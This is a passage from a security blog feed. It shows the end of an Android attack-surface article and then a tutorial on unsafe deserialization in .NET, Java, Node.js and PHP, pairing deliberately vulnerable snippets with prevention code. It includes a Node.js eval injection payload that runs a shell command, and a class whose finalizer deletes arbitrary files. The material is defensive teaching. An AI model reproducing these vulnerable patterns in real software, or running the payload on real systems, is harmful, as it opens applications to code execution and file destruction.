  <span class="hljs-operator">&#x3C;</span>category android:name<span class="hljs-operator">=</span><span class="hljs-string">"android.intent.category.DEFAULT"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
  <span class="hljs-operator">&#x3C;</span>category android:name<span class="hljs-operator">=</span><span class="hljs-string">"android.intent.category.BROWSABLE"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
<span class="hljs-operator">&#x3C;</span>data android:scheme<span class="hljs-operator">=</span><span class="hljs-string">"weixin"</span> android:host<span class="hljs-operator">=</span><span class="hljs-string">"qr"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
<span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>intent<span class="hljs-operator">-</span>filter<span class="hljs-operator">></span>
</code></pre><p>Because this type of implicit Intent can be triggered directly by clicking on a link, it is more popular with attackers. If the component that handles the corresponding Intent fails to filter the content passed in by the user, it is likely to cause a 1-click vulnerability. </p><h3 id="h-webview" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Webview</h3><p>In the Andorid system, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.android.com/reference/android/webkit/WebView">Webview</a> is mainly used for the application to display webpage content in its own Activty, and provides some additional interfaces for developers to implement custom control. Higher scalability means more possibilities for errors, especially now that Android client development is declining, and Java development is also developing in the direction of &quot;big front end&quot;. Many logics that were originally implemented using native applications have been gradually transferred to web pages, such as h5, applets, etc. In this way, the attack surface of webview has also expanded a lot.</p><p>Conventional Webview security issues are mainly related to some insecure configurations, such as overriding and onReceivedSslErrorignoring SSL errors, leading to man-in-the-middle attacks, and setAllowFileAccessFromFileURLsleakage of local private files. But now the vulnerabilities are more in JSBridge, which is a bridge between Java code and JavaScript code in web pages.</p><p>Due to the sandbox feature of the Webview or JS engine, the Javascript code in the webpage itself cannot perform many operations that can only be performed by native applications, such as sending broadcasts from Javascript, accessing application files, and so on. Due to the complexity of the business, many logics must be implemented in the Java layer or even the Native layer, so this requires the use of JSBridage. The traditional JSBridge is Webview.addJavascriptInterfaceimplemented , a simple example is as follows:</p><pre data-type="codeBlock" text="class JsObject {
    @JavascriptInterface
    public String toString() { return &quot;injectedObject&quot;; }
}
webview.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JsObject(), &quot;injectedObject&quot;);
webView.loadData(&quot;&quot;, &quot;text/html&quot;, null);
webView.loadUrl(&quot;javascript:alert(injectedObject.toString())&quot;);
"><code>class JsObject {
    @JavascriptInterface
    <span class="hljs-keyword">public</span> String toString() { <span class="hljs-keyword">return</span> <span class="hljs-string">"injectedObject"</span>; }
}
webview.getSettings().setJavaScriptEnabled(<span class="hljs-literal">true</span>);
webView.addJavascriptInterface(<span class="hljs-keyword">new</span> JsObject(), <span class="hljs-string">"injectedObject"</span>);
webView.loadData(<span class="hljs-string">""</span>, <span class="hljs-string">"text/html"</span>, null);
webView.loadUrl(<span class="hljs-string">"javascript:alert(injectedObject.toString())"</span>);
</code></pre><p>Java layer returns data to Javascript by directly using loadUrl to execute JS code. Of course, in addition to registering Bridge in this way, there are many application-specific implementations, such as using to console.logtransmit data and use onConsoleMessagecallbacks in the Java layer to receive. But in any case, this leads to an increase in the attack surface. Large-scale applications even register hundreds of jsapis for web page calls.</p><p>From the perspective of historical vulnerabilities, the main cause of the Webview vulnerability is the jsapi domain name verification problem and the vulnerability of the Bridge code itself, which will not be expanded due to space reasons.</p><h2 id="h-references" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">References</h2><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://paper.seebug.org/1050/">Galaxy Leapfrogging Galaxy Leapfrogging Pwning the Galaxy S8</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://labs.f-secure.com/archive/chainspotting-building-exploit-chains-with-logic-bugs/">Chainspotting: Building Exploit Chains with Logic Bugs</a> ( <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://paper.seebug.org/628/">How to break Samsung S8 with 11 exploits</a> )</p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://labs.withsecure.com/publications/nhuawew-blog-post">Huawei Mate 9 Pro Mobile Pwn2Own 2017</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://blog.oversecured.com/Oversecured-detects-dangerous-vulnerabilities-in-the-TikTok-Android-app/">Detect dangerous vulnerabilities in the TikTok Android app - Oversecured</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://dawnslab.jd.com/mystique-paper/">Mystique Vulnerability White Paper- JD Research Institute Information Security Laboratory</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://blog.takemyhand.xyz/2021/07/hacking-on-xiaomis-android-apps.html">HACKING XIAOMI&apos;S ANDROID APPS - Part1</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://labs.f-secure.com/blog/automating-pwn2own-with-jandroid/">Automating Pwn2Own with Jandroid</a></p></li></ul>]]></content:encoded>
            <author>tutorialboy@newsletter.paragraph.com (TutorialBoy)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/1d4191b651519e34cfa60ec60fb0fc2eb5494d3ba79b26dab109a00a272a8223.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[An Unsafe Deserialization Vulnerability and Types of Deserialization]]></title>
            <link>https://paragraph.com/@tutorialboy/an-unsafe-deserialization-vulnerability-and-types-of-deserialization</link>
            <guid>Aaw2NesPXk01063SrJMl</guid>
            <pubDate>Wed, 19 Apr 2023 09:32:54 GMT</pubDate>
            <description><![CDATA[DeserializationUnsafe Deserialization (also referred to as Insecure Deserialization) is a vulnerability wherein malformed and untrusted data input is insecurely deserialized by an application. It is exploited to hijack the logic flow of the application end might result in the execution of arbitrary code. Although this isn’t exactly a simple attack to employ, it featured in OWASP’s Top 10 most recent iteration as part of the Software and Data Integrity Failures risk, due to the severity of imp...]]></description>
            <content:encoded><![CDATA[<h2 id="h-deserialization" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Deserialization</h2><p>Unsafe Deserialization (also referred to as Insecure Deserialization) is a vulnerability wherein malformed and untrusted data input is insecurely deserialized by an application. It is exploited to hijack the logic flow of the application end might result in the execution of arbitrary code. Although this isn’t exactly a simple attack to employ, it featured in <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/">OWASP’s Top 10</a> most recent iteration as part of the Software and Data Integrity Failures risk, due to the severity of impact upon compromise.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/63c2100bcd8dc837ed99d8674103aa553b509e93ed7b0c9f1727f049a384ffe1.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>The process of converting an object state or data structure into a storable or transmissible format is called serialization. Deserialization is its opposite - the process of extracting the serialized data to reconstruct the original object version.</p><p>Unsafe Deserialization issues arise when an attacker is able to pass ad hoc malicious data into user-supplied data to be deserialized. This could result in arbitrary object injection into the application that might influence the correct target behavior.</p><h2 id="h-impact" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Impact</h2><p>A successful Unsafe Deserialization attack can result in the full compromise of the confidentiality, integrity, and availability of the target system, and the oft-cited Equifax breach is probably the best example of the worst outcome that can arise. In Equifax’s case, an unsafe Java deserialization attack leveraging the Struts 2 framework resulted in remote code execution, which, in turn, led to the largest data breach in history.</p><h2 id="h-prevention" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Prevention</h2><p>It is important to consider any development project from an architectural standpoint to determine when and where serialization is necessary. If it is unnecessary, consider using a simpler format when passing data.</p><p>In cases where it is impossible to forego serialization without disrupting the application’s operational integrity, developers can implement a range of defence-in-depth measures to mitigate the chances of being exploited.</p><ul><li><p>Use serialization that only permits primitive data types.</p></li></ul><ul><li><p>Use a serialization library that provides cryptographic signature and encryption features to ensure serialized data are obtained untainted.</p></li></ul><ul><li><p>Authenticate before deserializing.</p></li></ul><ul><li><p>Use low privilege environments to isolate and run code that deserializes.</p></li></ul><p>Finally, if possible, replace object serialization with data-only serialization formats, such as JSON.</p><h2 id="h-testing" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Testing</h2><p>Verify that serialization is not used when communicating with untrusted clients. If this is not possible, ensure that adequate integrity controls (and possibly encryption if sensitive data is sent) are enforced to prevent deserialization attacks including object injection.</p><p>OWASP ASVS: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OWASP/ASVS/releases/download/v4.0.2_release/OWASP.Application.Security.Verification.Standard.4.0.2-en.pdf">1.5.2, 5.5.1, 5.5.3</a></p><h2 id="h-types-of-deserializations" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Types of Deserializations</h2><h2 id="h-unsafe-deserialization-in-net" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Unsafe Deserialization in .NET</h2><h3 id="h-vulnerable-example" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Vulnerable Example</h3><p>The .NET framework offers several instances of deserialization. Developers will likely be familiar with the following example, where some untrusted binary data is deserialized to create some objects:</p><pre data-type="codeBlock" text="[Serializable]
public class SomeClass
{
    public string SomeProperty { get; set; }
    public double SomeOtherProperty { get; set; }
}

class Program
{
    static void Main(string[] args)
    {
       BinaryFormatter binaryFormatter = new BinaryFormatter();
       MemoryStream memoryStream = new MemoryStream(File.ReadAllBytes(&quot;untrusted.file&quot;));
       SomeClass obj = (SomeClass)binaryFormatter.Deserialize(memoryStream);
       Console.WriteLine(obj.SomeProperty);
       Console.WriteLine(obj.SomeOtherProperty);
    }
}
"><code>[Serializable]
<span class="hljs-keyword">public</span> class SomeClass
{
    <span class="hljs-keyword">public</span> <span class="hljs-keyword">string</span> SomeProperty { get; set; }
    <span class="hljs-keyword">public</span> double SomeOtherProperty { get; set; }
}

class Program
{
    static void Main(<span class="hljs-keyword">string</span>[] args)
    {
       BinaryFormatter binaryFormatter <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> BinaryFormatter();
       MemoryStream memoryStream <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> MemoryStream(File.ReadAllBytes(<span class="hljs-string">"untrusted.file"</span>));
       SomeClass obj <span class="hljs-operator">=</span> (SomeClass)binaryFormatter.Deserialize(memoryStream);
       Console.WriteLine(obj.SomeProperty);
       Console.WriteLine(obj.SomeOtherProperty);
    }
}
</code></pre><p>The above program merrily deserializes not only instances of SomeClass (even though a class cast error is raised for other objects), but also might be enough to trigger dangerous behaviors. For example, a malicious user could leverage publicly available tools such as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/pwntester/ysoserial.net">ysoserial.net </a>to easily craft payloads that exploit the presence of external libraries, and thus build a chain of gadgets that eventually lead to RCE.</p><p>Alternatively, an attacker with knowledge of the source code of the application could attempt to locate dangerous classes in the code base. For example, suppose that somewhere in the application, the following class is defined:</p><pre data-type="codeBlock" text="[Serializable]
public class DangerousClass
{
    private string path;

    public DangerousClass(String path) {
        this.path = path;
    }

    public ~DangerousClass() {
        File.Delete(path)
    }
}
"><code>[Serializable]
<span class="hljs-keyword">public</span> class DangerousClass
{
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">string</span> path;

    <span class="hljs-keyword">public</span> DangerousClass(String path) {
        <span class="hljs-built_in">this</span>.path <span class="hljs-operator">=</span> path;
    }

    <span class="hljs-keyword">public</span> <span class="hljs-operator">~</span>DangerousClass() {
        File.Delete(path)
    }
}
</code></pre><p>The attacker is then able to build such objects locally using an arbitrary path as a parameter, serialize it, and finally feed it to the vulnerable application. When said object is eventually removed from memory by the garbage collector, the attacker gains the ability to delete arbitrary files in the system.</p><h3 id="h-prevention" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Prevention</h3><p>Never pass user-supplied input to BinaryFormatter; the documentation states this explicitly:</p><p>The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they’re processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.</p><p>When possible, developers are encouraged to use other forms of data serialization, such as XML, JSON, or the BinaryReader and BinaryWriter classes. The latter is the recommended approach for binary serialization. For example, in the above scenario, the serialization phase could be implemented as:</p><pre data-type="codeBlock" text="var someObject = new SomeClass();
someObject.SomeProperty = &quot;some value&quot;;
someObject.SomeOtherProperty = 3.14;

using (BinaryWriter writer = new BinaryWriter(File.Open(&quot;untrusted.file&quot;, FileMode.Create)))
{
    writer.Write(someObject.SomeProperty);
    writer.Write(someObject.SomeOtherProperty);
}
"><code><span class="hljs-keyword">var</span> someObject <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> SomeClass();
someObject.SomeProperty <span class="hljs-operator">=</span> <span class="hljs-string">"some value"</span>;
someObject.SomeOtherProperty <span class="hljs-operator">=</span> <span class="hljs-number">3.14</span>;

<span class="hljs-keyword">using</span> (<span class="hljs-title">BinaryWriter</span> <span class="hljs-title">writer</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">new</span></span> <span class="hljs-title">BinaryWriter</span>(<span class="hljs-title">File</span>.<span class="hljs-title">Open</span>("<span class="hljs-title">untrusted</span>.<span class="hljs-title">file</span>", <span class="hljs-title">FileMode</span>.<span class="hljs-title">Create</span>)))
{
    <span class="hljs-title">writer</span>.<span class="hljs-title">Write</span>(<span class="hljs-title">someObject</span>.<span class="hljs-title">SomeProperty</span>);
    writer.Write(someObject.SomeOtherProperty);
}
</code></pre><p>And in turn, the deserialization phase as:</p><pre data-type="codeBlock" text="var someObject = new SomeClass();
using (BinaryReader reader = new BinaryReader(File.Open(&quot;untrusted.file&quot;, FileMode.Open)))
{
    someObject.SomeProperty = reader.ReadString();
    someObject.SomeOtherProperty = reader.ReadDouble();
}
"><code>var <span class="hljs-attr">someObject</span> = new SomeClass()<span class="hljs-comment">;</span>
using (BinaryReader <span class="hljs-attr">reader</span> = new BinaryReader(File.Open(<span class="hljs-string">"untrusted.file"</span>, FileMode.Open)))
{
    <span class="hljs-attr">someObject.SomeProperty</span> = reader.ReadString()<span class="hljs-comment">;</span>
    <span class="hljs-attr">someObject.SomeOtherProperty</span> = reader.ReadDouble()<span class="hljs-comment">;</span>
}
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"></h2><h3 id="h-references" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">References</h3><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#java">OWASP - Deserialization Cheat Sheet Wikipedia - Serialization </a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide">Microsoft - BinaryFormatter security guide</a></p></li></ul><h2 id="h-unsafe-deserialization-in-java" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Unsafe Deserialization in Java</h2><p>Java implements serialization natively for objects that implement the Serializable interface via the ObjectInputStream and ObjectOutputStream facilities. The binary format used directly references classes by name that are eventually loaded dynamically, provided that they are in the class path. This potentially allows instantiating objects of classes not initially intended by the developer, thus it is very important that untrusted data is not deserialized as is.</p><p>Developers may customize some aspects of the serialization process by providing callbacks such as writeReplace and readResolve. This could be exploited by an attacker to build chains by building complex objects that eventually lead to code execution or other actions on the target. Especially when complex and well-known libraries and frameworks are used, attackers may leverage publicly available tools such as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/frohoff/ysoserial">ysoserial</a> to easily craft the appropriate payload.</p><h3 id="h-vulnerable-example" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Vulnerable Example</h3><p>The following Spring controller uses the data coming from the client request to deserialize an object:</p><pre data-type="codeBlock" text="@Controller
public class MyController {
    @RequestMapping(value = &quot;/&quot;, method = GET)
    public String index(@CookieValue(value = &quot;myCookie&quot;) String myCookieString) {
        // decode the Base64 cookie value
        byte[] myCookieBytes = Base64.getDecoder().decode(myCookieString);

        // use those bytes to deserialize an object
        ByteArrayInputStream buffer = new ByteArrayInputStream(myCookieBytes);
        try (ObjectInputStream stream = new ObjectInputStream(buffer)) {
            MyObject myObject = stream.readObject();

            // ...
        }
    }
}
"><code>@Controller
<span class="hljs-keyword">public</span> class MyController {
    @RequestMapping(value <span class="hljs-operator">=</span> <span class="hljs-string">"/"</span>, method <span class="hljs-operator">=</span> GET)
    <span class="hljs-keyword">public</span> String index(@CookieValue(value <span class="hljs-operator">=</span> <span class="hljs-string">"myCookie"</span>) String myCookieString) {
        <span class="hljs-comment">// decode the Base64 cookie value</span>
        <span class="hljs-keyword">byte</span>[] myCookieBytes <span class="hljs-operator">=</span> Base64.getDecoder().decode(myCookieString);

        <span class="hljs-comment">// use those bytes to deserialize an object</span>
        ByteArrayInputStream buffer <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> ByteArrayInputStream(myCookieBytes);
        <span class="hljs-keyword">try</span> (ObjectInputStream stream <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> ObjectInputStream(buffer)) {
            MyObject myObject <span class="hljs-operator">=</span> stream.readObject();

            <span class="hljs-comment">// ...</span>
        }
    }
}
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"></h2><h3 id="h-prevention" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Prevention</h3><p>Never pass user-supplied input to the Java deserialization mechanism, and opt for data-only serialization formats such as JSON.</p><p>If the deserialization of untrusted data is really necessary, consider adopting an allow list approach to only allow objects of certain classes to be deserialized.</p><p>Since Java version 9, it has been possible to specify a deserialization filter in several ways. One example is to use the setObjectInputFilter method for ObjectInputStream objects before their use. The setObjectInputFilter method takes, as an argument, a method that implements the filtering logic. The following filter only allows one to deserialize instances of the MyClass class:</p><pre data-type="codeBlock" text="ObjectInputStream objectInputStream = new ObjectInputStream(buffer);
stream.setObjectInputFilter(MyFilter::myFilter);
"><code>ObjectInputStream <span class="hljs-attr">objectInputStream</span> = new ObjectInputStream(buffer)<span class="hljs-comment">;</span>
stream.setObjectInputFilter(MyFilter::myFilter)<span class="hljs-comment">;</span>
</code></pre><pre data-type="codeBlock" text="public class MyFilter {
    static ObjectInputFilter.Status myFilter(ObjectInputFilter.FilterInfo info) {
        Class&lt;?&gt; serialClass = info.serialClass();
        if (serialClass != null) {
            return serialClass.getName().equals(MyClass.class.getName())
                    ? ObjectInputFilter.Status.ALLOWED
                    : ObjectInputFilter.Status.REJECTED;
        }
        return ObjectInputFilter.Status.UNDECIDED;
    }
}
"><code><span class="hljs-keyword">public</span> class MyFilter {
    static ObjectInputFilter.Status myFilter(ObjectInputFilter.FilterInfo info) {
        Class<span class="hljs-operator">&#x3C;</span>?<span class="hljs-operator">></span> serialClass <span class="hljs-operator">=</span> info.serialClass();
        <span class="hljs-keyword">if</span> (serialClass <span class="hljs-operator">!</span><span class="hljs-operator">=</span> null) {
            <span class="hljs-keyword">return</span> serialClass.getName().equals(MyClass.class.getName())
                    ? ObjectInputFilter.Status.ALLOWED
                    : ObjectInputFilter.Status.REJECTED;
        }
        <span class="hljs-keyword">return</span> ObjectInputFilter.Status.UNDECIDED;
    }
}
</code></pre><p>Alternatively, it is possible to implement a similar solution by specializing the implementation of the ObjectInputStream object. The following snippet only allows one to deserialize instances of the MyClass class:</p><pre data-type="codeBlock" text="public class MyFilteringInputStream extends ObjectInputStream {
    public MyFilteringInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    @Override
    protected Class&lt;?&gt; resolveClass(ObjectStreamClass objectStreamClass) throws IOException, ClassNotFoundException {
        if (!objectStreamClass.getName().equals(MyClass.class.getName())) {
            throw new InvalidClassException(&quot;Forbidden class&quot;, objectStreamClass.getName());
        }
        return super.resolveClass(objectStreamClass);
    }
}
"><code><span class="hljs-keyword">public</span> class MyFilteringInputStream extends ObjectInputStream {
    <span class="hljs-keyword">public</span> MyFilteringInputStream(InputStream inputStream) throws IOException {
        <span class="hljs-built_in">super</span>(inputStream);
    }

    @Override
    protected Class<span class="hljs-operator">&#x3C;</span>?<span class="hljs-operator">></span> resolveClass(ObjectStreamClass objectStreamClass) throws IOException, ClassNotFoundException {
        <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>objectStreamClass.getName().equals(MyClass.class.getName())) {
            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> InvalidClassException(<span class="hljs-string">"Forbidden class"</span>, objectStreamClass.getName());
        }
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">super</span>.resolveClass(objectStreamClass);
    }
}
</code></pre><p>It is then possible to invoke the deserialization in the usual way:</p><pre data-type="codeBlock" text="ObjectInputStream objectInputStream = new MyFilteringInputStream(buffer);
objectInputStream.readObject();
"><code>ObjectInputStream <span class="hljs-attr">objectInputStream</span> = new MyFilteringInputStream(buffer)<span class="hljs-comment">;</span>
objectInputStream.readObject()<span class="hljs-comment">;</span>
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"></h2><h2 id="h-references" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">References</h2><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#java">OWASP - Deserialization Cheat Sheet </a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Serialization">Wikipedia Serialization Oracle</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html">Serializable Oracle</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.oracle.com/javase/10/core/serialization-filtering1.htm">Serialization Filtering </a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/frohoff/ysoserial">GitHub - Ysoserial</a></p></li></ul><h2 id="h-unsafe-deserialization-in-nodejs" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Unsafe Deserialization in NodeJS</h2><h3 id="h-vulnerable-example" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Vulnerable example</h3><p>Unlike PHP or Java, Node.js (JavaScript) does not provide advanced forms of object serialization, yet the JSON (JavaScript Object Notation) format is often used to convert JavaScript data object from/to a string representation. Before the relative recent addition of the JSON.parse method to ECMAScript, developers used to deserialize objects using the eval function. The following snippet illustrates this bad practice:</p><pre data-type="codeBlock" text="function myJSONParse(data) {
    return eval(`(${data})`);
}
"><code><span class="hljs-keyword">function</span> <span class="hljs-title function_">myJSONParse</span>(<span class="hljs-params">data</span>) {
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">eval</span>(<span class="hljs-string">`(<span class="hljs-subst">${data}</span>)`</span>);
}
</code></pre><p>If data is controlled by the attacker, it becomes trivial to inject arbitrary JavaScript code. For example, the following invocation executes a shell script that writes the output of the id command to /tmp/proof:</p><pre data-type="codeBlock" text="myJSONParse(&quot;require(&apos;child_process&apos;).exec(&apos;id &gt; /tmp/proof&apos;)&quot;
"><code><span class="hljs-built_in">myJSONParse</span>("require('child_process')<span class="hljs-selector-class">.exec</span>('id > /tmp/proof')"
</code></pre><h3 id="h-prevention" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Prevention</h3><p>The correct way to serialize and deserialize JavaScript objects is to use the provided JSON global object. For example:</p><pre data-type="codeBlock" text="const object = {foo: 123};
JSON.stringify(object) // &apos;{&quot;foo&quot;:123}&apos;
JSON.parse(&apos;{&quot;foo&quot;:123}&apos;) // { foo: 123 }
"><code><span class="hljs-keyword">const</span> <span class="hljs-built_in">object</span> = {<span class="hljs-attr">foo</span>: <span class="hljs-number">123</span>};
<span class="hljs-title class_">JSON</span>.<span class="hljs-title function_">stringify</span>(<span class="hljs-built_in">object</span>) <span class="hljs-comment">// '{"foo":123}'</span>
<span class="hljs-title class_">JSON</span>.<span class="hljs-title function_">parse</span>(<span class="hljs-string">'{"foo":123}'</span>) <span class="hljs-comment">// { foo: 123 }</span>
</code></pre><h3 id="h-references" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">References</h3><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Serialization">Wikipedia - Serialization</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/">OWASP - OWASP Top 10:2021 Software and Data Integrity Failure</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">MDN - JSON</a></p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3b88647132426acfed337c8a33030b14d41f487c77799f06532adf50e7e1e43f.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-unsafe-deserialization-in-php" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Unsafe Deserialization in PHP</h2><p>PHP uses serialize() and unserialize() native functions to serialize and unserialize an object. For example, the following script creates an instance of the object FSResource, serializes it, and then prints the string representation of the object.</p><pre data-type="codeBlock" text="&lt;?php

class FSResource {

    function __construct($path) {
        $this-&gt;path = $path;
        if (file_exists($path)) {
          $this-&gt;content = file_get_contents($path);
        }
    }

    function __destruct() {
        file_put_contents($this-&gt;path, $this-&gt;content);
    }

}

$resource = new FSResource(&apos;/tmp/file&apos;);
print(serialize($resource));

# Prints the following string representation:
# O:10:&quot;FSResource&quot;:2:{s:4:&quot;path&quot;;s:9:&quot;/tmp/file&quot;;s:7:&quot;content&quot;;s:0:&quot;&quot;;}
"><code><span class="hljs-meta">&#x3C;?php</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">FSResource</span> </span>{

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$path</span></span>) </span>{
        <span class="hljs-variable language_">$this</span>->path = <span class="hljs-variable">$path</span>;
        <span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">file_exists</span>(<span class="hljs-variable">$path</span>)) {
          <span class="hljs-variable language_">$this</span>->content = <span class="hljs-title function_ invoke__">file_get_contents</span>(<span class="hljs-variable">$path</span>);
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-title function_ invoke__">file_put_contents</span>(<span class="hljs-variable">$this</span>->path, <span class="hljs-variable">$this</span>->content);
    }

}

<span class="hljs-variable">$resource</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">FSResource</span>(<span class="hljs-string">'/tmp/file'</span>);
<span class="hljs-keyword">print</span>(<span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$resource</span>));

<span class="hljs-comment"># Prints the following string representation:</span>
<span class="hljs-comment"># O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}</span>
</code></pre><p>The string representation can then be deserialized again to recreate the object instance and access its attributes.</p><pre data-type="codeBlock" text="$instance = unserialize(&apos;O:10:&quot;FSResource&quot;:2:{s:4:&quot;path&quot;;s:9:&quot;/tmp/file&quot;;s:7:&quot;content&quot;;s:0:&quot;&quot;;}&apos;);
print($instance-&gt;path);

# Prints the path attribute:
# /tmp/file
"><code>$instance = unserialize('O:<span class="hljs-number">10</span>:<span class="hljs-string">"FSResource"</span>:<span class="hljs-number">2</span>:{s:<span class="hljs-number">4</span>:<span class="hljs-string">"path"</span>;s:<span class="hljs-number">9</span>:<span class="hljs-string">"/tmp/file"</span>;s:<span class="hljs-number">7</span>:<span class="hljs-string">"content"</span>;s:<span class="hljs-number">0</span>:<span class="hljs-string">""</span>;}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"></h2><h3 id="h-vulnerable-example" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Vulnerable Example</h3><p>The exploitation of deserialization in PHP is called PHP Object Injection, which happens when user-controlled input is passed as the first argument of the unserialize() function. This is a vulnerable script.php:</p><pre data-type="codeBlock" text="&lt;?php

$instance = unserialize($_GET[&quot;data&quot;]);
